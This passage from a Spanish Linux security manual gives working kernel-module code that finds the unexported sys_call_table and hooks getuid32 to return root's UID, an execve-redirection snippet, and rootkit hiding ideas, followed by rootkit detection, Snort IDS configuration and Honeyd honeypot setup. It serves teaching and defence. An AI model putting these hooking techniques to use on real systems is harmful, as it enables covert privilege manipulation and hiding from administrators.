llamada pasando en el registro EAX el número de la syscall. En el mismo fichero entry.S más abajo
debería haber algo como lo que sigue, esto era cierto hasta las versiones 2.6.9 y otras, pero
recientemente y una vez más esto ha cambiado un poco y ahora tenemos en mi kernel 2.6.14 un
fichero: “syscall_table.S” en el mismo lugar que contiene una tabla con las llamadas al sistema, no
sabría decir si es más cómodo o no pero lo cierto es que lo deja con un aspecto más bonito para
trabajar.

Esto es parte de su contenido:


Kernel hacks y seguridad J.M.P

.data
ENTRY(sys_call_table)
.long sys_restart_syscall /* 0 - old "setup()" system call,
used for restarting */
.long sys_exit
.long sys_fork
.long sys_read
.long sys_write
.long sys_open /* 5 */
.long sys_close
.long sys_waitpid
.long sys_creat
.long sys_link
.long sys_unlink /* 10 */
.long sys_execve
.long sys_chdir
.long sys_time
.long sys_mknod
.long sys_chmod /* 15 */
.long sys_lchown16
.long sys_ni_syscall /* old break syscall holder */
.long sys_stat
.long sys_lseek
.long sys_getpid /* 20 */
.long sys_mount
.long sys_oldumount
.long sys_setuid16
.long sys_getuid16
.long sys_stime /* 25 */
.long sys_ptrace
.long sys_alarm
.long sys_fstat
.long sys_pause
.long sys_utime /* 30 */

.long sys_ni_syscall /* old stty syscall holder */

.long sys_ni_syscall /* old gtty syscall holder */

.long sys_access
.long sys_nice
.long sys_ni_syscall /* 35 - old ftime syscall holder */

.long sys_sync
.long sys_kill
.long sys_rename
.long sys_mkdir
.long sys_rmdir /* 40 */

.long sys_dup
.long sys_pipe
.long sys_times
.long sys_ni_syscall /* old prof syscall holder */

.long sys_brk /* 45 */

.long sys_setgid16
.long sys_getgid16
.long sys_signal
.long sys_geteuid16
.long sys_getegid16 /* 50 */

.long sys_acct
.long sys_umount /* recycled never used phys() */

.long sys_ni_syscall /* old lock syscall holder */

...y continúa.
Kernel hacks y seguridad J.M.P

Arriba donde dice sys_restart_syscall sería la syscall #0 y sys_exit la #1, bien ese es el lugar para ir
a mirar el símbolo correspondiente.

Ahora tenemos que volcar el contenido de "entry.o" (fichero objeto) del mismo directorio actual de
entry.S buscando algo MUY concreto, queremos esa dirección mágica y especial que tan
ansiadamente buscamos...

Procedo a usar GDB para desensamblar el fichero como muestro en la figura:

Muy bien, ahora ya hemos encontrado la dirección que queriamos y apartir de esa dirección ya es
posible encontrar la sys_call_table.

Lo podemos comprobar también haciendo un volcado del fichero objeto con objdump:

objdump -d entry.o|grep "ff 14 85"

Ahora muestro un código bastante probado que de una manera bastante ya estandarizada nos
consigue la Sys_call_table[] para poder usuarla como cuando antes la exportabamos.

El código puede parecer un poco complicado pero hace lo que se ha explicado justo arriba y
finalmente nos devuelve la dirección donde se encuentra con un puntero.
Kernel hacks y seguridad J.M.P

// Obtenemos la sys_call_table[] en kernels de la serie 2.6, test.

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/mm.h>
/* para las pruebas */
#include <asm/unistd.h>
/* IDT */
struct {
unsigned short off1;
unsigned short sel;
unsigned char none,flags;
unsigned short off2;
} __attribute__ ((packed)) idt;

/* IDTR */
struct {
unsigned short limit;
unsigned int base;
} __attribute__ ((packed)) idtr;
/* el hook */
uid_t (* restaura)(void);
/* la Sys_call_table ya no se exporta... */
int *sys_call_table;
/* siempre uid 0 :) */
uid_t cero_uid(void){
return 0;
}
/* el hack */
static void syscalltable(void) {
unsigned int offs,i;
char sccall[128];
/* ok, necesitamos IDT, toca usar asm() */
asm("sidt %0" : "=m" (idtr));

printk(KERN_ALERT

"[IDTR] Base en @:0x%x\n", idtr.base);

/* idt[80h] */
memcpy(&idt,(void *)(idtr.base+8*0x80), sizeof(idt));

offs = (idt.off2 << 16) | idt.off1;

printk(KERN_ALERT

"[IDT(80h)] Descriptor en @:0x%x\n \

...verificando 'call'...\n", offs);

memcpy(sccall, (void *)offs ,128);

/* vamos a ver si encontramos la cadenita FF1485 por ah?:) */


i=0;

while((i<128) &&

!((sccall[i] == '\xff') &&

(sccall[i+1]== '\x14') &&

(sccall[i+2]== '\x85'))){

i++;
} sys_call_table =(void*) (*(int *) &sccall[i+3]);
printk(KERN_ALERT
"[OK!] Sys_call_table -> 0x%p\n", sys_call_table);
/* aqu?la tenemos :) NO verifico que no se haya encontrado :P */
}
Kernel hacks y seguridad J.M.P

/* empieza */
static int __init buscarsct(void) {
printk(KERN_ALERT
"[CARGADO!] Buscando Sys_call_table...\n");

syscalltable(); /* fundamental */

/* vamos a ver si es verdad... ;) */

restaura=sys_call_table[__NR_getuid32];

sys_call_table[__NR_getuid32]=cero_uid;

return 0;

}
/* lo ponemos todo en orden */
static void __exit descarga(void) {
sys_call_table[__NR_getuid32]=restaura;
printk("LKM descargado!");
}
module_init(buscarsct);
module_exit(descarga);
/* ya estamos :) */
MODULE_LICENSE("GPL");

MODULE_AUTHOR("Jose Miguel Porcel G.");

MODULE_DESCRIPTION("Obtener la Sys_call_table[]");

Es este punto lo más importante de ese código – ya explicado - es más bien saber que se puede
utilizar esa función "syscalltable()" en el resto de programas para obtener la Sys_call_table y poder
usarla sin más como se ha visto en el resto de LKM's anteriores.

8.1- Otra alternativa ¿más sencilla?


Si bien acabo de decir que el método anterior está muy probado yo he utilizado en kernels de la
serie 2.6 (2.6.9 concretamente y otros) un mecanismo aún más personalizado, tanto que NO he
podido probarlo al 100%, y aunque el gancho (hook) siempre se ha realizado con éxito por algún
motivo en alguna máquina (ajena) se ha vuelto inestable el sistema provocando volcados de
memoria y otros problemas con el stack que ponian el kernel en una especie de bucle... aunque esto
en los peores casos.

No obstante el código algo depurado ha funcionado perfectamente en mi ordenador AMD Athlon


XP 1600+ (32bits) con Kernel de la serie 2.6 sin problema alguno.

La idea del LKM va un poco más allá de lo que se pretende en este trabajo puesto que habría que
explicar algunas otras cosas que se salen algo de la temática, el caso es que si hechamos un vistazo
a: "<asm/processor.h>" donde se encuentra una estructura llamada "cpuinfo_x86" con un
montón de información muy interesante... como el resto del fichero la verdad, donde hay varias
menciones a "loops_per_jiffy" y "boot_cpu_data" que son las únicas cosas de éste
código no habré tratado hasta ahora.

Básicamente, lo que hacemos es encontrar SYS_exit y a partir de ahí la Sys_call_table, el código


aunque no esta mal no es perfecto ni mucho menos.

/usr/src/linux/include/asm $ vim processor.h


Kernel hacks y seguridad J.M.P

1. #include <linux/module.h>
2. #include <linux/kernel.h>
3. #include <linux/init.h>
4. #include <asm/types.h>
5. #include <asm/processor.h>
6. #include <asm/unistd.h>
7. int *sys_call_table;
8. uid_t (* restaura)(void);
9. uid_t cero_uid(void){
10. printk("[!] probando h00k\n");
11. return 0;
12. }
13. static int __init
14. carga (void)
15. {
16. unsigned long pointr;
17. unsigned long *sys;
18. extern int loops_per_jiffy;
19. sys_call_table = NULL;
20. printk (KERN_ALERT "Buscando Sys_call_table...! \n");
21. printk (">> Localizando __NR_exit...");
22. /* buscamos la sys_call_table[] :)*/
23. for (pointr = (unsigned long) &loops_per_jiffy;
24. pointr < (unsigned long) &boot_cpu_data;
25. pointr += sizeof (void *)) {
26. sys = (unsigned long *) pointr;
27. if (sys[1] == (unsigned long) __NR_exit){
28. sys_call_table = (void **) sys;
29. sys_call_table -= 304;// calculado :)
30. printk (" OK!\n__NR_exit localizado en: 0x%p\n",
31. (void *) sys_call_table[__NR_exit]);
32. break;
33. }
34. }
35. /* ya la tenemos :) ...o no :( */
36. if (!sys_call_table) {
37. printk (KERN_ALERT
38. "\n[ERR] No pudo ser, rmmod modulo!...\n");
39. return 0;
40. }
41. printk (KERN_ALERT
42. ">> Sys_call_table[] localizada! -> 0x%p\n",
43. sys_call_table);
44. restaura=sys_call_table[__NR_getuid32];
45. sys_call_table[__NR_getuid32]=cero_uid;
46. return 0;
47. }
48. static void __exit
49. descarga (void)
50. { printk("Descargado!");
51. sys_call_table[__NR_getuid32]=restaura;
52. }
53. module_init (carga);
54. module_exit (descarga);
55. MODULE_LICENSE("GPL");
56. MODULE_AUTHOR("Jose Miguel Porcel G.");
57. MODULE_DESCRIPTION("Alternativa para encontrar la
Sys_call_table[]");
Kernel hacks y seguridad J.M.P

Imagen conceptual del proceso


Kernel hacks y seguridad J.M.P

9.- Hooks y hacks de interés (algunas ideas)


Algunas cosas que podemos hacer en el Kernel:

• Ocultar un sniffer

Resulta que podemos cambiar los flags de una tarjeta de red y ocultar ese "PROMISC" delatador
mediante la syscall "SYS_ioctl", se pueden hacer otras muchas cosas con eso si pensamos en lo que
hace "ioctl()" que es controlar dispositivos.

• Ocultar ficheros y procesos

¿Qué hacemos al abrir un fichero? ...Usar "getdents()" lo mismo para mirar los procesos mapeados
en /proc y por tanto ¿Qué podemos hacer nosotros para manipular ese proceso? ... efectivamente,
usar "SYS_getdents" basta con leer la documentación de las "manual pages" de getdents para saber
como funciona :)

• Manipular "execve()"

Lo que hace execve es básicamente ejecutar otro programa pero hay una pega y es que en nuestro
LKM execve necesita hacer una serie de operaciones previas como usar la pila (stack) con los
parámetros. Pero el Kernel y nosotros estamos preparados para ese problemilla, si miramos en
unistd.h vemos que hay una serie de syscalls nulas sin ir más lejos la #222 no está puesto que es una
"sys_ni_syscall" y pide a gritos que la usemos por lo que movemos la SYS_execve original a esa
posición nula ( u otra de tu conveniencia) para llamarla desde otra función nuestra... pero claro
¿cómo llamamos a execve? Si lo hacemos directamente la cosa no va a funcionar por lo que
comentaba y si hacemos el hook eso que es imprescindible que suceda no va a pasar de manera que
necesitamos una buena manera de llamar a execve y que mejor que mirar como lo hace el Kernel
¿no?

/usr/src/linux/include/asm $ vim unistd.h

En unistd.h – evitando tratar nada sobre ensamblador – encontramos que execve() requiere tres
argumentos de manera que necesitamos la macrointrusión (expandida por el preprocesador) que
permitirá llamar a la función con tres parámetros, en el caso que nos ocupa execve() es generada por
_syscall3 que inicializa los registros del preprocesador y desencadena la Int 0x80 poniendo en
la variable global errno el código de error, típicamente -1, si hay éxito se vuelve a quien llamó.

Nos basta entonces con rellenar esa macrointrusión para interceptar execve() correctamente, en el
siguiente código __NR_mi_execve sustituye a la __NR_execve original.
Kernel hacks y seguridad J.M.P

// ******* inicio ********

int

mi_execve

(const char *filen, char *const argv [], char *const envp[]){

int errno;

long __res;
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_mi_execve),"b" ((long)(filen)),\
"c" ((long)(argv)), \
"d" ((long)(envp))); \
__syscall_return(long,__res); \
}
}

// ******* final ********

Ese sería el código a usar para poder tratar con execve() desde el núcleo con un LKM.

10.- Rootkits: visión general


Con lo que hemos ido viendo en este trabajo salta a la vista que tpodemos desarrollar aplicaciones
más que intersantes de cara a su uso en sistemas comprometidos, una vez descubierta una
vulnerabilidad en un sistema y tras el éxito en su explotación procedemos a obtener y asegurar un
mayor control sobre el host.

Los rootkits son hoy por hoy uno de los mecanismos más sofisticados para conseguir ese objetivo.
Se trata de un kit de herramienta/s que permiten al atacante mantenere el control total sobre el
sistema de forma continuada con los máximos privilegios y siempre intentando hacerlo de forma
indetectable para los administradores del sistema y/o de la red.

De los primeros rootkits en la historia de los sistemas “unix-like” hay que destacar dos, el rootkit de
SunOS4 y el Linux Root Kit “lrk3” (Diciembre 1996); Más ejemplos serían “heroin.c” y luego
Knark como consecuencia de este nuevo tipo de técnicas.

Uno de los primeros textos al respecto distribuido en Internet fue “Hiding Out Under Unix ” por
Black Tie Affair (Phrack, vol.3 issue 25; 1989). Ni que decir tiene que el presente documento está
bastante más avanzado que ese texto y va mucho más allá.

Tal y como se ha ido viendo en el presente trabajo y a medida que el Kernel se ha ido desarrollando
el tema ha ido avanzando bastante y han surgido todo tipo de rootkits, no solo para los sistemas
Solaris, Unix o Linux sino también para FreeBSD y Windows entre otros.

Los rootkits actuales no utilizan los mismos vectores de ataque sino que muchos se apoyan en otras
técnicas distintas a las contempladas por mi en este trabajo, además hay que comentar que la
efectividad de un rootkit pasa también por mantener su código fuente oculto al uso público, a las
empresas y los desarrolladores de soluciones para la seguridad.
Kernel hacks y seguridad J.M.P

Ejemplo de un rootkit moderno: “Adore-ng”


Adore-ng es un interesante (pero conocido) rootkit que puede funcionar en los kernels más recientes
sin problema alguno, para intentar mantenerse oculto e indetectable utiliza una novedad respecto a
muchos rootkits ya que no usa sys_call_table [] sino que se basa en la redirección a nivel de capa
VFS de Linux, además tiene una utilidad para infectar módulos cargados en el núcleo. Un
interesante atículo por parte de “Stealth” (junto con el grupo TESO son autores de Adore) es:
“Kernel Rootkit Experiences” donde habla de sus experiencias como autor de Adore y la situación
en aquel momento de la investigación sobre nuevas ténicas entre otras cosas, aunque no se trata de
un texto extenso.

Sus características “básicas” vienen incluidas en el fichero FEATURES de mi descarga de Adore­


ng de Internet e indica – entre otras cosas- lo siguiente:

• Runs on kernel 2.4.x UP and SMP systems

• First test-versions successfully run on 2.6.0

• File and directory hiding

• Process hiding

• Socket-hiding (no matter whether LISTENing, CONNECTED etc)

• Full-capability back door

• Does not utilize sys_call_table but VFS layer

• KISS principle, to have as less things in there as possible but also


being as much powerful as possible

Por otro lado el fichero README indica el proceso de instalación de Adore; Tras su compilación y
Kernel hacks y seguridad J.M.P

carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos
con la parte “servidora” de Adore-ng, aunque explicar el uso de este rootkit al detalle queda fuera
de las pretensiones de este texto y en ningún caso aporta nada de interés adicional puesto que no es
el objetivo hacer de script kiddie con Adore.

La siguiente tabla introduce al famoso rootkit “SucKIT” para mostrar algunos datos de interés.

Adore ~0.34 SucKIT Adore-ng >=1.31


Interceptando el flujo de Syscalltable Syscall handler VFS
ejecución
Transferencia código dentro del LKM Acceso directo (raw ­ LKM
Kernel crudo) a memoria.
Incluye puerta trasera - Sí -
Mecanismos de recarga - /sbin/init Herramienta para
infección LKM's
Tabla: Comparativa de algunos rootkits

Medidas de protección y detección de rootkits


Aunque no es el objetivo del documento explicar las técnicas de detección de rootkits y puertas
traseras de forma exhaustiva se comentan a continuación algunas utilidades prácticas para
protegerse de este tipo de software en nuestros sistemas.

Una de las maneras más directas es chequear System.map con las direcciones de memoria de las
syscalls actuales, en principio deberian ser las mismas pero si un rootkit modifica la dirección a la
que apunta la syscall podremos notar que hay una diferencia, cierto offset de la syscall original y la
suplantada. Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva
complicación.

Aquí se muestra el inicio del fichero /usr/src/linux/System.map

linux # head System.map


00100000 A phys_startup_32
c0100000 A _text
c0100000 T startup_32
c01000c6 t checkCPUtype
c0100147 t is486
c010014e t is386
c0100199 t L6
c010019b t check_x87
c01001c2 t setup_idt
c01001df t rp_sidt
Kernel hacks y seguridad J.M.P

Otros métodos típicos:

• Checksums de ficheros importantes (tripwire, aide, etc.)

• Backup de las estructuras centrales del kernel (kstat).

• LKM's anti-rootkit.

• Herramientas forenses (TCT).

• Analisis de logs, etc.

• Utilidades para la detección (rkhunter, chkrootkit).

Enlaces en Internet para la descarga de utilidades e información sobre las herramientas:

http://www.chkrootkit.org/

http://www.rootkit.org/

Conclusiones
Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es
que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el
sistema como dotar al entorno de habilidades especiales para controlar al milímetro todo lo que
sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante.
Kernel hacks y seguridad J.M.P

Snort, el cerdito valiente.

SNORT es us sistema para la detección de intrusos OpenSource que nos permite monitorear el
tráfico de nuestra red y detectar vulnerabilidades conocidas así como todo tipo de ataques conocidos
a nuestra red.

Su instalación es relativamente sencilla, y no supone una carga importante para el sistema por lo
que se recomienda su uso como medida de seguridad adicional, combinando SNORT con otros
sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y
el seguimiento de posibles incidencias.

Wreski y Christopher Pallack en Linuxsecurity.com:

“ A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous, inappropriate,
or other data that may be considered unauthorized occuring on a network. Unlike a firewall, w hich is configured to
allow or deny access to a particular service or host based on a set of rules. If the traffic matches an acceptible pattern,
it is permitted regardless of what the packet contains. However, an NIDS captures and inspects all traffic, re gardless of
whether it's permitted or not. Based on the contents, at either the IP or application level, an alert is generated.

Snort is a "lightweight" NIDS in that it is non-intrusive, easily configured, utilizes familiar methods for rule
development, and takes only a few minutes to install. Snort currently includes the ability to detect more than 1100
potential vulnerabilities. Keep in mind that Intrusion Detection devices work in conjunction with other security
measures, and are not a replacement for other good security practices. “
Kernel hacks y seguridad J.M.P

1.- Preparando el entorno de trabajo

Lo primero que tenemos que hacer es obtener una copia de Snort, para nuestra distribución de
Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos
apropiados en nuestra distribución, en mi caso particular:

root# emerge -pv snort

These are the packages that I would merge, in order:

Calculating dependencies ...done!


[ebuild R ] net-analyzer/snort-2.4.3 -flexresp -inline +mysql -odbc ­
postgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB

Total size of downloads: 0 kB

No obstante podemos obtener los paquetes y el código fuente de la URL:

http://www.snort.org/dl/

Una vez instalado Snort procederemos a su configuración tal y como iremos viendo antes de
proceder a arrancar el servicio.

2.- Configuración básica de Snort

Para empezar debemos buscar un fichero llamado “snort.conf” que contiene la configuración de
Kernel hacks y seguridad J.M.P

Snort. Dicho fichero se puede encontrar en:


/etc/snort/snort.conf
pero puede que esté ubicado en otra localización dependiendo de tu distribución, en mi caso trabajo
con Gentoo Linux asi que de ahora en adelante habrá que tener este pequeño matiz en consideración
para el futuro.
• Antes de empezar es aconsejable realizar una copia del fichero original, es posible que ya se
haya incluido dicha copia con el paquete de Snort, no obstante es muy aconsejable hacerlo
sino es el caso.
• El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por
lo que en el presente documento solamente se tratará de forma general sin entrar en
excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de
no alargar el documento de forma innecesaria.

Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero:
1. Establecer las variables para nuestra red.
2. Configurar el preprocesador de Snort.
3. Configurar los plugins de salida.
4. Añadir directivas para la configuración en ejecución de Snort.
5. Personalizar nuestro set de reglas para Snort.

La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea.

Paso 1
• Debemos indicar como está montada nuestra red e identificarnos, no es buena idea dejar esto
con un valor “any” o por defecto así que lo modificamos como sea necesario.
Kernel hacks y seguridad J.M.P

var HOME_NET 192.168.1.1/24


o bien, var HOME_NET $eth0_ADDRESS

• Más de lo mismo: indicamos los hosts que forman nuestra red, podemos hacerlo de varias
manera y esta es la más adecuada para redes locales medianas o grandes.
var HOME_NET 192.168.1.1/24

• Ahora configuramos la red externa, con el valor “cualquiera” es un buen comienzo.


var EXTERNAL_NET any

• Indicamos la lista de servidores DNS, SMTP, etc. de nuestra red, si los hay:

var DNS_SERVERS $HOME_NET


var SMTP_SERVERS $HOME_NET
[...]

• Ahora viene un paso importante que es definir los puertos con servicios que Snort debe
vigilar y sobre los cuales se desean detectar ataques, si tenemos un servidor web
(típicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo
siguiente indicándolo de manera continua (22:1024) o por puertos individuales
(21,22,53,80,8080 ...); También podemos incluir ficheros de reglas tal y como se muestra en
los ejemplos dentro del fichero de configuración.

var HTTP_PORTS 80
var BO-BACKDOOR 31337
var NO_SSH !22
include mis_directivas.rules

• Ahora podemos configurar ciertos aspectos del decodificador de Snort, hecho esto podemos
pasar a la configuración del motor de detección. Si andamos escasos de recursos en nuestra
máquina es MUY recomendable usar:
config detection: search-method lowmem

Paso 2
• Podemos habilitar soporte para defragmentación IP, así podremos detectar cierto
tipo de ataques (DoS normalmente) que usen esa técnica así como evitar la evasión
de Snort mediante técnicas más o menos avanzadas.
Por ejemplo: preprocessor frag2
Kernel hacks y seguridad J.M.P

preprocessor frag3_global: max_frags 65536


preprocessor frag3_engine: policy first detect_anomalies

• Stateful-inspection y Stream Reassembly, si queremos detectar ataques de escaneo


de puertos ocultos, típicamente Syn-Stealth, o de cualquier otro tipo, así como otros
ataques básicos esta es la sección a modificar; Por ejemplo:

preprocessor stream4: detect_scans


preprocessor stream4_reassemble

• Performance Statistics, tal y como dice el fichero aquí hay MUCHAS posibilidades
que no se van a tratar aquí así que lo mejor será mirar el propio manual y
documentación de Snort al respecto. Lo dejaremos con los valores por defecto
recomendados.

• A continuación hay algunas directivas sobre la inspección de tráfico de Back Oriffice


(troyano mítico del grupo Cult Of Dead Cow), tráfico RPC, posible ARP spoof,
tráfico Telnet, etc. A configurar a gusto del consumidor o bien dejamos los valores
por defecto.
Paso 3
• Aquí podemos indicar cosas referentes al formato de salida de logs y demás, por
ejemplo en el formato de “tcpdump” en una base de datos (MySQL) salida por el
Syslog de sistema...
Paso 4
• Aquí podemos leer el manual para obtener información detallada de las posibilidades
para personalizar un poco más el funcionamiento de Snort, es un tema que no vamos
a cubrir ahora por lo que podemos dejara los valores por defecto recomendados.

Paso 5
• Ahora podemos añadir nuestras propias reglas para la detección de actividad
sospechosa u ataques a nuestra red. Este tema lo tratamos a continuación por
separado, podemos obtener reglas pre-configuradas de Internet aparte de las que el
mismo Snort trae consigo.

3.- Descargando nuevas reglas desde Internet

Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir
actualizando nuestro set de reglas o descargar nuevas funcionalidades, la primera web recomendada
(aunque no la única al respecto) y a la que me voy a limitar es:
http://www.snort.org/rules/
y/o
Kernel hacks y seguridad J.M.P

http://www.snort.org/pub-bin/downloads.cgi

Nos basta con descomprimir las reglas y ajustar la configuración de snort.conf como sea necesario
para apuntar a los ficheros de reglas que queremos habilitar.

Por supuesto podemos crear nuestras propias reglas, para saber como hacerlo es mejor - una vez
más – mirar la documentación actualizada de Snort al respecto.

4.- Prevención de intrusiones

Aquí se muestra Snort actuando como interceptor de sesiones, se trata de examinar las sesiones
establecidas por un atacante y sus intentos, si algo resulta hostil se envia un paquete RST para
terminar la conexión de inmediato. En el ejemplo tras el intento de atacar el servidor apache se da
por terminada la sesión explícitamente gracias a Snort.
Nota: Tanto el firewall como Snort y el servidor web están conectados entre si, el servidor apache
accesible desde el exterior está situado en la DMZ.

Ahora Snort (con el parche inline/IPS aplicado) actúa como firewall-router/IPS estando como
Gateway.
http://snort-inline.sourceforge.net (./configure - -enable-inline)

Una vez detectado tráfico hostil fruto de un ataque el tráfico futuro del host atacante será
bloqueado.
Kernel hacks y seguridad J.M.P

Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se
detecta se pide al router el bloqueo del tráfico entrante del host origen del ataque. Si el host antes de
ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo
para la seguridad de la red.
http://www.snortsam.net

5.- Usando ACID + SNORT

Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT


simplificado accesible vía web.
Kernel hacks y seguridad J.M.P

La instalación de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de
requisitos y dependencias, podemos echar un vistazo al sitio web de ACID para descargar el
software y documentación.

http://acidlab.sourceforge.net
La versión más reciente de ACID es ahora 0.9.6_beta23 (según Portage en mi distribución no he
mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el
código de la aplicación que puedan ir surgiendo mientras el software adquiere un mayor nivel de
maduración en el desarrollo.
Luego necesitaremos a ser posible:

• Apache: soporte GD, OpenSSL, MySQL.


• PHP: soporte GD, OpenSSL, MySQL.
• MySQL
• ACID: soporte adodb, jpgraph, phplot, GD
• Y claro esta, Snort con soporte para MySQL.

Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL,
usando para ello la estructura que se nos facilita en los paquetes para la instalación para crear las
tablas en la base de datos. También daremos de alta un usuario en MySQL con los privilegios
estrictamente necesarios.
Ejemplo:
$ mysql -u root -p

mysql > CREATE DATABASE snort

mysql > GRANT ALL ON snort.* to root@localhost identified by "password"

$ mysql -u root -p pass < /usr/src/snort-x.x/schemas/create_mysql_snort

Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro


servidor WEB (Apache), /var/www/htdocs por ejemplo. Por tanto, es importante respetar el orden
en la instalación de las dependencias.
Lo siguiente muestra alguna de la información que hay que editar del fichero “acid_conf.php” para
que todo funcione correctamente con la base de datos MySQL. Una vez instalado bastará con
visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado
todo, por ejemplo: http://127.0.0.1/acid.

/* Alert DB connection parameters


Kernel hacks y seguridad J.M.P

* - $alert_dbname : MySQL database name of Snort alert DB

* - $alert_host : host on which the DB is stored

* - $alert_port : port on which to access the DB

* - $alert_user : login to the database with this user

* - $alert_password : password of the DB user

* This information can be gleaned from the Snort database

* output plugin configuration.

*/

$alert_dbname = "snort_log";
$alert_host = "localhost";
$alert_port = "";
$alert_user = "root";
$alert_password = "mypassword";

/* Archive DB connection parameters */

$archive_dbname = "snort_archive";

$archive_host = "localhost";

$archive_port = "";

$archive_user = "root";

$archive_password = "mypassword";

Esquema básico de la base de datos de ACID y su funcionamiento con Snort.


Kernel hacks y seguridad J.M.P

Creación de reglas propias para Snort


Podemos separar las reglas en grandes bloques. acción+cabecera y opciones

CABECERA
? Acción de la regla: alert ...

? Protocolo: tcp, udp ...

? Direccion IP origen: $EXTERNAL_NET ...

? Puerto IP origen: any ...

? Direccion IP destino: $HOME_NET ...

? Puerto IP destino: any ...

? Dirección de la operación -> (puede ser ->, <-, <>)

OPCIONES
? Mensaje: “hola directiva”

? Opciones: flags: A;ack: 0; reference: ...

Ej.:
drop tcp any any -> any 22 (classtype:attempted-user; msg:”Intento
de conectar al puerto SSH”;)
El código anterior hará que las conexiones al puerto 22 sean logueadas y bloqueadas, una vez
añadida la regla dentro de las directivas de Snort.
Para documentación detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se
recomienda visitar el sitio oficial de Snort en Internet www.snort.org.

Conclusiones

Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace
necesario detectar aquellos ataques que se realizan con éxito contra nuestros sistemas. Los sistemas
de detección y de prevención de intrusiones – Snort en el caso que nos ocupa – junto con políticas
de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho
mayor así como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro.

Una vez más la soluciones opensource están muy por encima en calidad/precio con respecto a otras
alternativas comerciales.
Kernel hacks y seguridad J.M.P

Honeypots

Una de las técnicas más habituales para proteger nuestras redes y aprender de nuestros atacantes es
usar sistemas abiertos con el fin de atraer (o distraer) la atención de nuestros posibles intrusos.

Los honeypots son simplemente eso, señuelos que nos permiten mantener la red un poco más
protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador
del sistema.

Aunque existen muchas soluciones para implementar honeypots en este trabajo se tratará
principalmente con “Honeyd”.
Kernel hacks y seguridad J.M.P

1.- Preparando el entorno de trabajo

Lo primero que habrá que hacer es obtener una copia de “Honeyd” y opcionalmente “Arpd”,
compilarlas e instalarlas en el sistema que pretende hacer de señuelo, está claro que no hay que
instalarlo en un equipo en producción :P

net-analyzer/honeyd
Latest version available: 1.0-r1
Latest version installed: 1.0-r1
Size of downloaded files: 2,566 kB
Homepage: http://www.citi.umich.edu/u/provos/honeyd/
Description: Honeyd is a small daemon that creates virtual hosts on a network
License: GPL-2

De las siguientes direcciones nos interesa además toda la documentación que podamos encontrar al
respecto.

http://www.honeyd.org/

http://www.citi.umich.edu/u/provos/honeyd/

Debemos editar el fichero de configuración para establecer nuestras preferencias como sea
necesario y arrancar el servicio honeyd.

# Config file for /etc/init.d/honeyd

# Set Network address

HONEYD_NET="10.0.0.1"

HONEYD_IF="lo"

HONEYD_LOG="/var/log/honeyd.log"

# Set to 1 to enable (>=honeyd-1.0)

HONEYD_HTTPD=0

HONEYD_HTTPD_PORT=80

HONEYD_HTTPD_ROOT="/usr/share/honeyd/webserver/htdocs"

Kernel hacks y seguridad J.M.P

# Set preferred options here


HONEYD_OPTS="-f /etc/honeyd.conf -p /usr/share/honeyd/nmap.prints \
-x /usr/share/honeyd/xprobe2.conf -a /usr/share/honeyd/nmap.assoc"

Otras alternativas a honeyd podrían ser sistemas como VMWare, User Mode Linux, etc.

Un interesante “paper” es el de Lance Spitzner disponible en:

http://www.tracking-hackers.com/papers/honeypots.html (9 May, 2003)

2.- Creando sistemas virtuales

Para crear los sistemas virtuales debemos editar el contenido de “/usr/share/honeyd/” en mi caso
para conseguir nuestro objetivo de simulación, por ejemplo tenemos el fichero “config”
concretamente config.sample que es un ejemplo de configuración, lo probamos copiando
honeyd.conf dentro de /etc (en mi caso particular).

Su contenido se muestra a continuación:

route entry 10.0.0.1


route 10.0.0.1 link 10.2.0.0/24
route 10.0.0.1 add net 10.3.0.0/16 10.3.0.1 latency 8ms bandwidth 10Mbps
route 10.3.0.1 link 10.3.0.0/24
route 10.3.0.1 add net 10.3.1.0/24 10.3.1.1 latency 7ms loss 0.5
route 10.3.1.1 link 10.3.1.0/24

# Example of a simple host template and its binding


create template
set template personality "Microsoft Windows XP Professional SP1"
set template uptime 1728650
set template maxfds 35
add template tcp port 80 "scripts/iis5.net/main.pl"
add template tcp port 22 "sh scripts/test.sh $ipsrc $dport"
add template tcp port 23 proxy $ipsrc:23
add template udp port 53 proxy 141.211.92.141:53
set template default tcp action reset

create default
set default default tcp action block
set default default udp action block
set default default icmp action block

create router
Kernel hacks y seguridad J.M.P

set router personality "Cisco 1601R router running IOS 12.1(5)"

set router default tcp action reset

add router tcp port 22 "scripts/test.sh"

add router tcp port 23 "scripts/router-telnet.pl"

bind 10.3.0.1 router

bind 10.3.1.1 router

bind 10.3.1.12 template

bind 10.3.1.11 template

bind 10.3.1.10 template

set 10.3.1.11 personality "Microsoft Windows NT 4.0 SP3"

set 10.3.1.10 personality "IBM AIX 4.2"

